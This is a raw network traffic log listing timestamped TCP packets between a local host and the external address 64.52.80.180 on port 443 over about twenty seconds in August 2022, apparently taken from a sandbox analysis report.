Aug 14, 2022 08:39:53.157557011 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.157594919 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.157603979 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.795445919 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.795577049 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.795599937 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.795639992 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.795655966 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.795677900 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.795969009 CEST	49197	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.795985937 CEST	443	49197	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.903052092 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.903090000 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:53.903160095 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.904150009 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:53.904164076 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.217895985 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.218089104 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.226473093 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.226500034 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.344516993 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.344535112 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.344676018 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.344683886 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.981795073 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.981857061 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.981877089 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.981914997 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:54.981936932 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.981957912 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.982348919 CEST	49198	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:54.982372046 CEST	443	49198	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:55.087937117 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.088002920 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:55.088078022 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.088888884 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.088915110 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:55.402290106 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:55.402471066 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.410274029 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.410284996 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:55.417968035 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.417979956 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:55.418107033 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:55.418112040 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.051975012 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.052069902 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.052231073 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.052648067 CEST	49199	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.052670002 CEST	443	49199	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.164705992 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.164753914 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.164841890 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.167053938 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.167078972 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.480241060 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.480365992 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.488450050 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.488473892 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.494121075 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.494143963 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:56.494220972 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:56.494227886 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.128935099 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.129018068 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.129118919 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.129136086 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.129462957 CEST	49200	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.129482985 CEST	443	49200	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.240951061 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.241014004 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.241077900 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.241738081 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.241755009 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.555411100 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.555557013 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.561857939 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.561875105 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.567274094 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.567286015 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:57.567393064 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:57.567399025 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.207320929 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.207410097 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.207429886 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.207458019 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.207510948 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.207813978 CEST	49201	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.207827091 CEST	443	49201	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.319627047 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.319669962 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.319772959 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.320642948 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.320663929 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.632867098 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.636513948 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.649009943 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.649036884 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.654269934 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.654289007 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:58.654349089 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:58.654352903 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.288902998 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.289015055 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.289170980 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.300993919 CEST	49202	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.301043034 CEST	443	49202	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.409549952 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.409604073 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.409657001 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.410243988 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.410264015 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.725950003 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.726058960 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.736418009 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.736429930 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.742321014 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.742336035 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:39:59.742429972 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:39:59.742435932 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.376522064 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.376616001 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.376696110 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.377167940 CEST	49203	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.377206087 CEST	443	49203	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.487435102 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.487533092 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.487916946 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.492255926 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.492305040 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.806330919 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.809921980 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.829811096 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.829843998 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.841391087 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.841433048 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:00.841478109 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:00.841487885 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.479948044 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.480087042 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.480108976 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.480129957 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.480648041 CEST	49204	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.480664968 CEST	443	49204	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.594377995 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.594428062 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.594494104 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.595194101 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.595216990 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.908754110 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.908924103 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.924937963 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.924962997 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.931212902 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.931236982 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:01.931335926 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:01.931343079 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:02.567671061 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:02.567768097 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:02.567922115 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:02.569478035 CEST	49205	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:02.569526911 CEST	443	49205	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:02.688601971 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:02.688657999 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:02.688766956 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:02.689642906 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:02.689666986 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.005590916 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.007124901 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.013758898 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.013777971 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.018950939 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.018973112 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.019016027 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.019023895 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.653163910 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.653254986 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.653326988 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.653347969 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.653649092 CEST	49206	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.653675079 CEST	443	49206	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.764503956 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.764554977 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:03.764630079 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.781708002 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:03.781747103 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.095017910 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.095418930 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.108386040 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.108422041 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.113392115 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.113426924 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.113452911 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.113462925 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.754143953 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.754232883 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.754309893 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.754889011 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.762578011 CEST	49207	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.762609959 CEST	443	49207	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.880103111 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.880151033 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:04.880279064 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.880981922 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:04.880996943 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.194653988 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.194804907 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.201299906 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.201328993 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.206428051 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.206454039 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.206487894 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.206496954 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.841274023 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.841362953 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.841546059 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.841954947 CEST	49208	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.841975927 CEST	443	49208	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.952363968 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.952416897 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:05.952500105 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.953788042 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:05.953804016 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.264983892 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.267136097 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.275111914 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.275135994 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.287512064 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.287530899 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.287571907 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.287579060 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.920855045 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.920964003 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:06.920970917 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.921025991 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.921550989 CEST	49209	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:06.921570063 CEST	443	49209	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.027247906 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.027307034 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.027435064 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.028408051 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.028431892 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.341855049 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.342017889 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.349457026 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.349489927 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.357999086 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.358022928 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.358151913 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.358156919 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.991588116 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.991743088 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:07.991818905 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.991842985 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.992173910 CEST	49210	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:07.992199898 CEST	443	49210	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:08.099150896 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.099244118 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:08.099354029 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.100012064 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.100034952 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:08.414130926 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:08.414197922 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.422476053 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.422502995 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:08.434422970 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.434456110 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:08.434528112 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:08.434535980 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.075735092 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.075794935 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.075810909 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.075830936 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.075851917 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.075874090 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.076256990 CEST	49211	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.076275110 CEST	443	49211	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.179250956 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.179300070 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.179367065 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.180306911 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.180327892 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.495337963 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.495563984 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.503863096 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.503894091 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.511399031 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.511425018 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:09.511553049 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:09.511559010 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.144022942 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.144125938 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.144222975 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.144628048 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.144651890 CEST	49212	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.144673109 CEST	443	49212	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.252324104 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.252389908 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.252470016 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.253427029 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.253448963 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.567111969 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.567289114 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.573661089 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.573688030 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.579555035 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.579591990 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:10.579636097 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:10.579646111 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.213968992 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.214061022 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.214073896 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.214116096 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.214426994 CEST	49213	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.214461088 CEST	443	49213	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.317625046 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.317682981 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.317748070 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.318450928 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.318470001 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.629595041 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.629744053 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.646847010 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.646881104 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.654212952 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.654247999 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:11.654341936 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:11.654349089 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.289114952 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.289227009 CEST	443	49214	64.52.80.180	192.168.2.22
Aug 14, 2022 08:40:12.289320946 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.290579081 CEST	49214	443	192.168.2.22	64.52.80.180
Aug 14, 2022 08:40:12.294051886 CEST	49214	443	192.168.2.22	64.52.80.180
